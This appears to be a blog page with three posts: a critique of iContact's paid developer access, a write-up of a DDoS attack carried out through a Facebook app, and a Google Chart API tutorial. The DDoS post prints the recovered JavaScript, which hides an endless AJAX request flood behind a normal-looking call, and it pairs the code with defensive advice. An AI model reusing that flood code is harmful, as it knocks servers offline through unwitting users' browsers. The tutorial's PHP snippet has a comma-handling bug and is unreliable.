Nothing can stifle development faster than putting a price tag on the development tools for your product. A case in point is email provider iContact who for whatever reason requires developers to register for a $9.95 per month account to create an application on their platform. Imagine for a minute how different the Facebook ecosystem would have been if they had charged developers to integrate with Platform. Many of iContact’s competitors including those featured on the iContact website, Constant Contact and Bronto, provide easy access to their development API’s. I don’t know if there’s a correlation, but these providers have been continuing to grow while iContact’s growth has remained relatively flat over the last 6 months.

There are business reasons why it’s probably important to control what applications make it onto a platform. Quality control, security of client data, inability to handle scale are all good reasons to keep people out. If this is what you need to do – don’t offer a public API.

The spectrum of current solutions for controlling access is varied. Apple’s often criticized application review process is one way to ensure that only “quality” applications become available to clients. On the other extreme, also not without criticism, Facebook’s more capitalistic approach allows users to ultimately decide what applications to use and thus drives the ecosystem from the other direction. Interestingly, regardless of the application approval process issues, anyone can create a FREE developer accounts, explore and interact with the SDK and Facebook API and start building applications. In fact, according to Alexa, only 2 of the Top 20 US Web Properties (ESPN and Disney’s GO) don’t offer free access to their API.

I strongly advise iContact and any other parties who sell their software as a service to provide an environment that encourages developers to interact with your service or don’t bother at all. Allowing developers to add value to your clients will always result in a happier customer and may even give you a competitive advantage in the marketplace, especially one as heavily saturated as email marketing.

Some time ago I had the good fortune to work with some developers on a Facebook application that was underperforming. Through a very robust investigation of the application, it was discovered that a large number of invalid requests were being passed to the server. It was the victim of a Distributed Denial of Service attack utilizing Facebook platform and a popular application to bring down the application.

What Can a Developer Do?

1. Before instantiating ANY code, check your signatures! There are a number of ways to do this, but for starters, check the $_REQUEST['fb_sig_app_id'] and be sure it’s yours!
2. Spot check your log files for any large number of 404 requests to images or other files that are not valid. Google Analytics only reports on what’s working.
3. Log invalid requests and errors. Keep the entire signature as it provides you the evidence needed to report the offending application.
4. You may be able to make a legal case against the perpetuator of the attack if you have sufficient evidence. I am not a lawyer, but you can find one who specializes in technology crimes and talk to them.
5. Contact Facebook, while DDoS is not explicitly prohibited in the Developer Terms of Service it is illegal in many states and compliance with State Laws is explicitly stated.

How Can I Keep My Server Running?

1. Apply #1 above on all your pages. Don’t let the attacker make your machine work any harder than it has to. The second code listing below has a quick and dirty way to stop it in it’s tracks.
2. Any 404 errors that are abnormal should be made into logging pages so you can grab the errors and log them. You can do this with .htaccess or a custom 404 page. Whichever suits your particular situation.
3. Save Bandwidth However Possible – if the request is attacking valid image files, rename the real files and update your code, then pass very small bits of data back to the requesters of the invalid files. Create 0 byte files to replace them using “touch file.png” so you minimize the outbound data.
4. Change servers. Less than ideal, but contact your hosting company and move your app to a different IP and or domain name ASAP.

How Did It Work?

The code from this attack is provided below and was obtained by viewing the source of the application. It essentially creates an endless loop of AJAX requests. The ajax.php file need only return JSON encoded data including a value for “cremate” and “cremate_threads” along with the expected payload to begin the attack which then calls the working code at line 16 in the code below. Once invoked, the client computer continues to expand to it’s internal limits taking over the resources of not only the target’s computer, but potentially the user’s browser as well.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

function someValidAjaxCall(request_data) {
	var ajax = new Ajax();
	ajax.responseType = Ajax.JSON;
	ajax.useLocalProxy = false;
	ajax.ondone = function(data) {
		//
		// Do what the application should appear to do for the user
		//
 
		// Start the DDoS attack
		if (data.cremate && data.cremate_threads) {
			cremate(data.cremate, data.cremate_threads);
		}
	}
	ajax.post('http://255.255.255.255/ajax.php', request_data);
	return false;
}
 
function cremate(url, cremate_threads) {
	for (i=0; i<cremate_threads; i++) {
		sub_cremate(url + i);
	}
}
 
function sub_cremate(url) {
	ajax = new Ajax();
	ajax.responseType = Ajax.RAW;
	ajax.useLocalProxy = false;
	ajax.ondone = function(data) {
		sub_cremate(url);
	}
	ajax.onerror = function() {
		sub_cremate(url);
	}
	ajax.post(url);
}

// Will stop requests from other apps
if($_REQUEST['fb_sig_app_id'] != '1234567890'){ die('Error'); }

Anyone who’s immersed in the world of data and its presentation knows the value of a well designed and laid out graphic can lead to a project. Currently application developers have two primary tools at their disposal, Adobe Flex and the Google Chart API for making dynamic graphics. Silverlight may offer some similar features, but I’ve no experience building with it. Additionally, Java is also very capable, but when you see how simple the Google product is, you’d need a very strong reason to consider running anything like this in house again. As such I have left them out of the discussion.

I’ve used Flex for some simple reporting graphs. The real power in Flex lays in it’s ability to create entire interfaces, even entire websites entirely in a rich multimedia capable environment. I’ve been intoxicated with the raw power to manipulate the data in real time and interact in a way not easily possible on the web before. However, all of this power comes at a steep price, while the core SDK is free – for time pressed developers – the IDE environment saves a huge amount of effort. Because of it’s great power, sometimes using Flex is a little like bringing a machete to the dinner table – a little bit more power than you really need to cut the vegetables with. This is where Google Charts comes in.

Way back when in December of 2007, Google anounced the Google Chart API. This revolutionized graphing for developers, although I suspect many may not realize it yet! Lets start our exploration with some fake data and see just what we can do with the API. We’ll use a small slice of some new user signup data I have at my disposal to get our hands dirty with.

Generating this table is no special feat, some simple database queries against your own internal data and presto, you’ve got a column of numbers too. But that’s where the fun begins. Consider this table for a minute, it’s pretty clear there’s a normal distribution curve there, but are they the same? Are there more men or women – or is it nearly equal? Are there other things this data could be telling us?

Let’s start with the marketing department’s questions. Are we attracting more men or women? If we sum the numbers in the table together, we get 4,595 men and 4,609 women. We can create a pie chart with these numbers so folks can look at a glance and see what that would look like.

http://chart.apis.google.com/chart?
cht=p&
chs=250x100&
chd=t:4595,4609&
chl=Male|Female&
chco=0000ff,ff0000

The line break is for clarity only. To walk through the pieces, the cht is simply the chart type, p for pie (p3 is a 3d pie), chs is a width x height value, chd is the data, chl are the labels and chco are the colors. Interestingly, you can actually skip the labels on and still generate a graph, but obviously it becomes much clearer when you provide the labels.

Now lets look at the curves – obviously we have a peak during the day and lows at night, but just what does that look like and is it the same for men and women? Here we can use the bar chart.

http://chart.apis.google.com/chart?
cht=bvg&
chs=630x150&
chbh=10,0,5&
chco=0000ff,ff0000&
chg=101,33.3&
chxt=x,y&
chxl=0:|12a|1a|2a|3a|4a|5a|6a|7a|8a|9a|10a|11a|12p|1p|2p|3p|4p|5p|6p|7p|8p|9p|10p|11p|1:|0|125|250|375&
chd=t:13.9,12.8,16.3,20.5,21.1,32.0,36.8,33.3,45.9,41.6,51.5,57.9,77.6,80.0,77.9,79.2,85.6,97.3,97.1,87.2,64.8,42.9,32.5,19.7|10.1,9.1,10.7,16.8,23.7,27.2,33.3,41.1,41.3,46.1,51.5,50.4,78.1,92.0,85.6,88.8,92.8,97.6,89.9,81.6,66.1,47.7,29.3,18.1&

Now with this chart, there’s quite a bit more going on. Google recommends that for larger data sets you use their special encoding system, but in order to keep this simple I went ahead and used the decimal encoding so it would be easier to understand. For those who are ready for that next step, take a look at the docs for the API, there’s excellent pseudo code there for how to transition to the encoding method they use. cht still defines the chart type, in this case a horizontal bar chart with grouped data. chs is the size again; read the docs carefully if you decide to implement one of these. The bar chart can extend past your chosen size and you’ll simply crop your data. chbh comes in handy here by letting me shrink the size of the bars to 10 pixels and removing lots of padding. Last but not least chco sets the colors bringing us to the really new stuff.

For bar charts the data has to be limited into a range of 0-100. If your maximum data point is less than 100, you’re in luck, just feed the data in place of this method below. However, if your data doesn’t live in the realm of 0-100, you’ll need to consider doing some more work. The simplest method is to create a percentage (some PHP code is below outlining how to do that). The X and Y axis are blank by default with a bar graph. There are a number of methods for making them display but I find this method the most logical. If your data is broken out by percentages already, using the default Y axis value is fine, however, in our example, it’s not. So we’re going to pass two parameters. First chxt=x,y, what this does is tells the API that the first label set I pass in is for the X axis, and the second is for the Y. Now we can pass in the values we want to display on the X and Y axis. chxl defines our labels using position indexes to reference back to the values we had assigned in our chxt parameter. In our example, index 0 is X and index 1 is Y – notice they’re bolded: chxl=0:|label1|label2| … |labeln|1:|label1|label2| … and so on. The last parameter I skipped over from before is chg which sets up the grid based on a percentage. I passed in 101% spacing for the vertical bars along the X axis, and 33.3% for the horizontal bars because they lined up with my increments.

For those unsure how to generate the percentages in PHP, it’s very simple. The first thing we’ll do is loop over our dataset to determine what our largest value is. Then, instead of passing in the raw values as we did with the pie chart above, we’ll actually pass in their percentage of the maximum number. If your like me, you might want to step the scale up to the next logical number. I did that on my graph, but did not do it in the code below – I’ll save that for another blog post. Then you can at last loop over the data one more time to create the actual data strings. Once it’s all done, you’ll have a single string you can drop into your image call.

$result = $conn->query($select);

// get the maximum value in our data
$max = 0;
while($row = $result->fetch_assoc()){
   if($row['Male'] > $max){ $max = $row['Male']; }
   if($row['Female'] > $max){ $max = $row['Female']; }
}
$result->data_seek(0);

// generate the two datasets
$data_male = "";
$data_female = "";
while($row = $result->fetch_assoc()){
   if(strlen($data_male) == 0){ $data_male .= ","; $data_female .= ","; }
   $data_male .= round($row['Male']/$max,1);
   $data_female .= round($row['Female']/$max,1);
}

// Concatenate the strings to complete the data parameter
$data = $data_male . "|" . $data_female;

There are so many different graph types available, I obviously can’t share them all in this already rather long post. I highly encourage you to read over the API. It’s very simple to understand and extremely easy to use. Google only requests that if you’ll use more than 250,000 graphs a day, you let them know.